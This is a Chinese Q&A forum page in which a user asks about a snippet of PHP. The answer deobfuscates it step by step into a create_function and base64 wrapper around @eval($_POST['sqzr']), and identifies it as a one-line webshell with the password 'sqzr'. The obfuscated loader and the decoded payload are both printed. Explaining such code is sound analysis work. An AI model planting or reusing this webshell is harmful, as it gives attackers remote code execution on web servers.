中易网

这段代码什么意思? 帮翻译或是解释一下..谢谢

答案:1  悬赏:10  
解决时间 2021-01-13 14:58
  • 提问者网友:趣果有间
  • 2021-01-13 11:12
这段代码什么意思? 帮翻译或是解释一下..谢谢
最佳答案
  • 二级知识专家网友:鸽屿
  • 2021-01-13 11:58
首先看$vbl,是说用把“tistittirti_rtietipltiatice”里的ti替换为空值,得到结果为“str_replace”文本,则下述的vbl都可以看成是str_replace。

得出下述结果
$uf="snc3";
$ka="IEBldmFbsK";
$pjt="CRfUE9TVF";
$iqw="F6ciddKTs=";
$bkf = str_replace("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = str_replace("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp('', $bkf($str_replace("b", "", $ka.$pjt.$uf.$iqw))); $mpy();
---------------------------------------------------------------
然后看$bkf和$sbp 用k或ctw替换各自文本为空值
得到$bkf=base64_decode 而$sbp=create_function
获得
$uf="snc3";
$ka="IEBldmFbsK";
$pjt="CRfUE9TVF";
$iqw="F6ciddKTs=";
$bkf=base64_decode
$sbp=create_function
$mpy = $sbp('', $bkf($str_replace("b", "", $ka.$pjt.$uf.$iqw))); $mpy();
---------------------------------------------------------------
接下来看$mpy,把$sbp和$bkf的值代进去得
$mpy = create_function('', $base64_decode($str_replace("b", "", $ka.$pjt.$uf.$iqw))); $mpy();
看到里面有$ka,$pjt,$uf,$iqw四个函数值,将上面的各自值代进去,
$mpy = create_function('', $base64_decode($str_replace("b", "", “IEBldmFbsKCRfUE9TVFsnc3F6ciddKTs=”))); $mpy();
而上句又有个替换文本“b”换为空值(这里区分大小写,所以大写B是不用替换的),故换完之后
$mpy = create_function('', $base64_decode(“IEBldmFsKCRfUE9TVFsnc3F6ciddKTs=”)); $mpy();
再用base64解密 得到IEBldmFsKCRfUE9TVFsnc3F6ciddKTs=是@eval($_POST['sqzr']);

$mpy = create_function('', @eval($_POST['sqzr']);); $mpy();
所以整个代码就是
$mpy = create_function('', @eval($_POST['sqzr']););

$mpy();
两句而已
看起来是一句话木马的代码(@eval($_POST['sqzr']);),其连接密码为sqzr
我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息!
大家都在看
推荐信息